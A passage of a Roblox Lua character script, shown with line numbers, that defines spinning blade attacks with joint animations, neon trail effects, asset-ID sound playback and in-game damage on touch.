  3367. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3368. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3369. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3370. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3371. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3372. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3373. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3374. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3375. end
  3376. for i=0,1,0.02 do
  3377. swait()
  3378. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3379. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3380. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3381. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3382. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3383. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3384. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3385. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3386. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3387. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3388. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3389. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3390. end
  3391. Humanoid.WalkSpeed = 0
  3392. swait(8)
  3393. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3394. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3395. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3396. if hit~=nil then
  3397. swait(2)
  3398. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3399. ref.Anchored=true
  3400. ref.CFrame=cf(pos)
  3401. game:GetService("Debris"):AddItem(ref,3)
  3402. for i=1,10 do
  3403. local Col=BrickColor.new("Really black")
  3404. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3405. groundpart.Anchored=true
  3406. groundpart.CanCollide=false
  3407. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3408. local Col2=TorsoColor
  3409. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3410. groundpart2.Anchored=true
  3411. groundpart2.CanCollide=false
  3412. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3413. game:GetService("Debris"):AddItem(groundpart,5)
  3414. game:GetService("Debris"):AddItem(groundpart2,5)
  3415. end
  3416. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3417. BlastEffect(BrickColor.new("Really black"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3418. MagicCircle(BrickColor.new("Really black"),cf(pos),5,5,5,5,5,5,0.05)
  3419. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3420. for i=0,1,0.06 do
  3421. swait()
  3422. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3423. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3424. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3425. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3426. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3427. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3428. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3429. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3430. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3431. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3432. end
  3433. end
  3434. swait(20)
  3435. Humanoid.WalkSpeed = 12
  3436. --dmgstop()
  3437. attack=false
  3438. end
  3439. end
  3440.  
  3441. function Spin()
  3442. attack=true
  3443. mana=mana-40
  3444. if TrailDeb == false then
  3445. TrailDeb = true
  3446. end
  3447.  
  3448. coroutine.wrap(function()
  3449. local Old = Handle2.CFrame.p
  3450. while wait()do
  3451. if not TrailDeb then break end
  3452. local New = Handle2.CFrame.p
  3453. local Mag =(Old -New).magnitude
  3454. local Dis =(Old +New)/2
  3455. local Trail = Instance.new("Part",Character)
  3456. Trail.Material = "Neon"
  3457. Trail.Anchored = true
  3458. Trail.CanCollide = false
  3459. Trail.BrickColor = TorsoColor
  3460. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3461. Trail.TopSurface = 0
  3462. Trail.BottomSurface = 0
  3463. Trail.formFactor = "Custom"
  3464. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3465. local ms = Instance.new("BlockMesh",Trail)
  3466. ms.Scale = Vector3.new(1,1,1)
  3467. local TM = Instance.new("CylinderMesh",Trail)
  3468. TM.Scale = Vector3.new(1,1,1)
  3469. Old = New
  3470. coroutine.wrap(function()
  3471. for i = 1,0,-0.1 do
  3472. wait()
  3473. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3474. end
  3475. Trail:remove()
  3476. end)()
  3477. coroutine.wrap(function()
  3478. for i = 1,10 do
  3479. wait()
  3480. Trail.Transparency = Trail.Transparency +0.1
  3481. end end)()end end)()
  3482. coroutine.wrap(function()
  3483. local Old = Handle.CFrame.p
  3484. while wait()do
  3485. if not TrailDeb then break end
  3486. local New = Handle.CFrame.p
  3487. local Mag =(Old -New).magnitude
  3488. local Dis =(Old +New)/2
  3489. local Trail = Instance.new("Part",Character)
  3490. Trail.Material = "Neon"
  3491. Trail.Anchored = true
  3492. Trail.CanCollide = false
  3493. Trail.BrickColor = TorsoColor
  3494. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3495. Trail.TopSurface = 0
  3496. Trail.BottomSurface = 0
  3497. Trail.formFactor = "Custom"
  3498. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3499. local ms = Instance.new("BlockMesh",Trail)
  3500. ms.Scale = Vector3.new(1,1,1)
  3501. local TM = Instance.new("CylinderMesh",Trail)
  3502. TM.Scale = Vector3.new(1,1,1)
  3503. Old = New
  3504. coroutine.wrap(function()
  3505. for i = 1,0,-0.1 do
  3506. wait()
  3507. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3508. end
  3509. Trail:remove()
  3510. end)()
  3511. coroutine.wrap(function()
  3512. for i = 1,10 do
  3513. wait()
  3514. Trail.Transparency = Trail.Transparency +0.1
  3515. end end)()end end)()
  3516. Footsteps:Stop()
  3517. Footsteps2:Stop()
  3518. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3519. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3520. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3521. for i=0,1,0.1 do
  3522. swait()
  3523. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3524. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3525. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3526. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3527. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3528. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3529. end
  3530. if anim then
  3531. anim.Disabled=true
  3532. end
  3533. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3534. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3535. for i=0,1,0.05 do
  3536. swait()
  3537. Torso.Velocity=RootPart.CFrame.lookVector*100
  3538. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3539. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3540. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3541. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3542. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3543. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3544. end
  3545. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3546. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3547. for i=0,1,0.05 do
  3548. swait()
  3549. Torso.Velocity=RootPart.CFrame.lookVector*100
  3550. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3551. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3552. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3553. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3554. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3555. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3556. end
  3557. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3558. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3559. for i=0,1,0.05 do
  3560. swait()
  3561. Torso.Velocity=RootPart.CFrame.lookVector*100
  3562. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3563. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3564. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3565. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3566. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3567. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3568. end
  3569. --dmgstop()
  3570. Humanoid.WalkSpeed=12
  3571. attack=false
  3572. con1:disconnect()
  3573. con2:disconnect()
  3574. if anim then
  3575. anim.Disabled=false
  3576. end
  3577. if TrailDeb == true then
  3578. TrailDeb = false
  3579. end
  3580. end
  3581.  
  3582. function Twirl()
  3583. mana=mana-50
  3584. attack=true
  3585. if TrailDeb == false then
  3586. TrailDeb = true
  3587. end
  3588.  
  3589.  
  3590. coroutine.wrap(function()
  3591. local Old = Handle2.CFrame.p
  3592. while wait()do
  3593. if not TrailDeb then break end
  3594. local New = Handle2.CFrame.p
  3595. local Mag =(Old -New).magnitude
  3596. local Dis =(Old +New)/2
  3597. local Trail = Instance.new("Part",Character)
  3598. Trail.Material = "Neon"
  3599. Trail.Anchored = true
  3600. Trail.CanCollide = false
  3601. Trail.BrickColor = TorsoColor
  3602. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3603. Trail.TopSurface = 0
  3604. Trail.BottomSurface = 0
  3605. Trail.formFactor = "Custom"
  3606. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3607. local ms = Instance.new("BlockMesh",Trail)
  3608. ms.Scale = Vector3.new(1,1,1)
  3609. local TM = Instance.new("CylinderMesh",Trail)
  3610. TM.Scale = Vector3.new(1,1,1)
  3611. Old = New
  3612. coroutine.wrap(function()
  3613. for i = 1,0,-0.1 do
  3614. wait()
  3615. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3616. end
  3617. Trail:remove()
  3618. end)()
  3619. coroutine.wrap(function()
  3620. for i = 1,10 do
  3621. wait()
  3622. Trail.Transparency = Trail.Transparency +0.1
  3623. end end)()end end)()
  3624. coroutine.wrap(function()
  3625. local Old = Handle.CFrame.p
  3626. while wait()do
  3627. if not TrailDeb then break end
  3628. local New = Handle.CFrame.p
  3629. local Mag =(Old -New).magnitude
  3630. local Dis =(Old +New)/2
  3631. local Trail = Instance.new("Part",Character)
  3632. Trail.Material = "Neon"
  3633. Trail.Anchored = true
  3634. Trail.CanCollide = false
  3635. Trail.BrickColor = TorsoColor
  3636. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3637. Trail.TopSurface = 0
  3638. Trail.BottomSurface = 0
  3639. Trail.formFactor = "Custom"
  3640. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3641. local ms = Instance.new("BlockMesh",Trail)
  3642. ms.Scale = Vector3.new(1,1,1)
  3643. local TM = Instance.new("CylinderMesh",Trail)
  3644. TM.Scale = Vector3.new(1,1,1)
  3645. Old = New
  3646. coroutine.wrap(function()
  3647. for i = 1,0,-0.1 do
  3648. wait()
  3649. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3650. end
  3651. Trail:remove()
  3652. end)()
  3653. coroutine.wrap(function()
  3654. for i = 1,10 do
  3655. wait()
  3656. Trail.Transparency = Trail.Transparency +0.1
  3657. end end)()end end)()
  3658. Footsteps:Stop()
  3659. Footsteps2:Stop()
  3660. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3661. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3662. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3663. for i=0,1,0.1 do
  3664. swait()
  3665. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3666. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3667. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3668. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3669. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3670. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3671. end
  3672. if anim then
  3673. anim.Disabled=true
  3674. end
  3675. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3676. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3677. for i=0,1,0.05 do
  3678. swait()
  3679. Torso.Velocity=RootPart.CFrame.lookVector*80
  3680. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3681. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3682. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3683. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3684. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3685. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3686. end
  3687. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3688. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3689. for i=0,1,0.05 do
  3690. swait()
  3691. Torso.Velocity=RootPart.CFrame.lookVector*80
  3692. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3693. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3694. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3695. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3696. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3697. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3698. end
  3699. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3700. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3701. for i=0,1,0.05 do
  3702. swait()
  3703. Torso.Velocity=RootPart.CFrame.lookVector*80
  3704. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3705. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3706. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3707. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3708. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3709. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3710. end
  3711. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3712. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3713. for i=0,1,0.05 do
  3714. swait()
  3715. Torso.Velocity=RootPart.CFrame.lookVector*80
  3716. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3717. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3718. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3719. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3720. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3721. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3722. end
  3723. --dmgstop()
  3724. Humanoid.WalkSpeed=12
  3725. attack=false
  3726. con1:disconnect()
  3727. con2:disconnect()
  3728. if anim then
  3729. anim.Disabled=false
  3730. end
  3731. if TrailDeb == true then
  3732. TrailDeb = false
  3733. end
  3734. end
  3735.  
  3736. function Shred()
  3737. attack=true
  3738. mana=mana-100
  3739. if TrailDeb == false then
  3740. TrailDeb = true
  3741. end
  3742.  
  3743.  
  3744. coroutine.wrap(function()
  3745. local Old = Handle2.CFrame.p
  3746. while wait()do
  3747. if not TrailDeb then break end
  3748. local New = Handle2.CFrame.p
  3749. local Mag =(Old -New).magnitude
  3750. local Dis =(Old +New)/2
  3751. local Trail = Instance.new("Part",Character)
  3752. Trail.Material = "Neon"
  3753. Trail.Anchored = true
  3754. Trail.CanCollide = false
  3755. Trail.BrickColor = TorsoColor
  3756. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3757. Trail.TopSurface = 0
  3758. Trail.BottomSurface = 0
  3759. Trail.formFactor = "Custom"
  3760. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3761. local ms = Instance.new("BlockMesh",Trail)
  3762. ms.Scale = Vector3.new(1,1,1)
  3763. local TM = Instance.new("CylinderMesh",Trail)
  3764. TM.Scale = Vector3.new(1,1,1)
  3765. Old = New
  3766. coroutine.wrap(function()
  3767. for i = 1,0,-0.1 do
  3768. wait()
  3769. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3770. end
  3771. Trail:remove()
  3772. end)()
  3773. coroutine.wrap(function()
  3774. for i = 1,10 do
  3775. wait()
  3776. Trail.Transparency = Trail.Transparency +0.1
  3777. end end)()end end)()
  3778. coroutine.wrap(function()
  3779. local Old = Handle.CFrame.p
  3780. while wait()do
  3781. if not TrailDeb then break end
  3782. local New = Handle.CFrame.p
  3783. local Mag =(Old -New).magnitude
  3784. local Dis =(Old +New)/2
  3785. local Trail = Instance.new("Part",Character)
  3786. Trail.Material = "Neon"
  3787. Trail.Anchored = true
  3788. Trail.CanCollide = false
  3789. Trail.BrickColor = TorsoColor
  3790. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3791. Trail.TopSurface = 0
  3792. Trail.BottomSurface = 0
  3793. Trail.formFactor = "Custom"
  3794. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3795. local ms = Instance.new("BlockMesh",Trail)
  3796. ms.Scale = Vector3.new(1,1,1)
  3797. local TM = Instance.new("CylinderMesh",Trail)
  3798. TM.Scale = Vector3.new(1,1,1)
  3799. Old = New
  3800. coroutine.wrap(function()
  3801. for i = 1,0,-0.1 do
  3802. wait()
  3803. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3804. end
  3805. Trail:remove()
  3806. end)()
  3807. coroutine.wrap(function()
  3808. for i = 1,10 do
  3809. wait()
  3810. Trail.Transparency = Trail.Transparency +0.1
  3811. end end)()end end)()
  3812. Footsteps:Stop()
  3813. Footsteps2:Stop()
  3814. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  3815. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  3816. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  3817. for i=0,1,0.1 do
  3818. swait()
  3819. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3820. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3821. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3822. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3823. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3824. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3825. end
  3826. if anim then
  3827. anim.Disabled=true
  3828. end
  3829. for i=0,1,0.05 do
  3830. swait()
  3831. Torso.Velocity=RootPart.CFrame.lookVector*20
  3832. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  3833. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  3834. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  3835. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3836. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3837. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3838. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3839. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3840. end
  3841. for i=0,1,0.05 do
  3842. swait()
  3843. Torso.Velocity=RootPart.CFrame.lookVector*40
  3844. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  3845. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  3846. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  3847. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3848. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3849. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3850. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3851. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3852. end
  3853. for i=0,1,0.05 do
  3854. swait()
  3855. Torso.Velocity=RootPart.CFrame.lookVector*60
  3856. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  3857. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  3858. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  3859. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3860. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3861. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3862. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3863. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3864. end
  3865. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  3866. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  3867. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  3868. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  3869. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  3870. for i=0,1,0.05 do
  3871. swait()
  3872. Torso.Velocity=RootPart.CFrame.lookVector*80
  3873. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  3874. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3875. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
